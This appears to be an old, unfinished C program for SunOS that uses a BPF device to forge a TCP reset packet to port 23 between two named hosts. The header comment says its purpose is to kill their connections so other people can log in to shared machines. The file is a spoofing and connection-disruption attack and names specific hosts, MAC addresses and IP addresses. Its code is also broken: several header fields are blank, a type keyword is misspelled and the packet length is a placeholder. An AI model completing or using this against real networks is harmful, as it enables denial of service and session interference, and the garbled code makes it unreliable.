/* This is a simple program designed to break TCP
   connections between blood.bbnplanet.com and
   blender.near.net; it's utility is in allowing other
   people to login to the #$!#$ NFS toasters, and to demonstrate
   how easy this is.

   For SunOS, so it uses sys_errlist (sigh...)

*/

#include <stdio.h>
#include <ctype.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <string.h>

char *sys_errlist[];

int main() {
  int fd;
  int n = 0;
  char device [sizeof "/dev/bpf000"];
  char packet[1000]; int plen; char *p;
  struct ifreq ifr;
  struct bpf_version bv;
	      
	      
  /* liberally stolen from libpcap: */
     
   /*
    * Go through all the minors and find one that isn't in use.
    */
  do {
	(void)sprintf(device, "/dev/bpf%d", n++);
	fd = open(device, O_WRONLY);
  } while (fd < 0 && errno == EBUSY);
  
  if (fd < 0) {
	fprintf(stderr, "%s: %s\n", device, sys_errlist[errno]);
	return 1;
  }
  
  strcpy(ifr.ifr_name, "le0");
  if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) < 0) {
    fprintf(stderr, "%s: %s\n", device, sys_errlist[errno]);
    return 1;
  }
  
  /* Build packet here! */

  {
    struct ether_addr esrc, edst;
    struct ether_header ehead;
    struct ip iphead;
    strict tcphdr thead;

    p=packet;

/* ENET: swapped shost and dhost while testing */

    bcopy(ether_aton("8:0:20:75:6c:8a"), &ehead.ether_dhost,
	  sizeof(struct ether_addr));	/* BLOOD */
    bcopy(ether_aton("0:c0:f0:1:a:3a"), &ehead.ether_shost,
	  sizeof(struct ether_addr));	/* BLENDER */
    ehead.ether_type = ETHERTYPE_IP;
    fprintf(stdout, "From %s", ether_ntoa(ehead.ether_shost));
    fprintf(stdout, " to %s\n", ether_ntoa(ehead.ether_dhost));
    bcopy(ehead, p, sizeof(ehead)); p+=sizeof(ehead);

/* IP */

    iphead.ip_hl=5;
    iphead.ip_v=4;
    iphead.ip_tos=0;
    iphead.ip_len= ;
    iphead.ip_id= 0x1234;
    iphead.ip_off=0;
    iphead.ip_ttl= 30;
    iphead.ip_p = IPPROTO_TCP;
    iphead.ip_sum = ;
    bcopy(inet_aton("198.114.157.152"), &iphead.ip_dst,
	  sizeof(struct in_addr));	/* blood */
    bcopy(inet_aton("198.114.157.139"), &iphead.ip_src,
	  sizeof(struct in_addr));	/* blender */


/* TCP */
    
    thead.th_sport = ;
    thead.th_dport = 23;
    thead.th_seq = ;
    thead.th_ack = ;
    thead.th_off = ;
    thead.th_flags = TH_RST;
    thead.th_win = ;
    thead.th_sum = ;
    thead.th_urp = ;


    plen=100; /* HACK */
  }

  if (write(fd, packet, plen) < 0) {
    fprintf(stderr, "write failed (%d): %s\n", errno, sys_errlist[errno]);
    return 1;
  }

  close(fd);

  return 0;
}
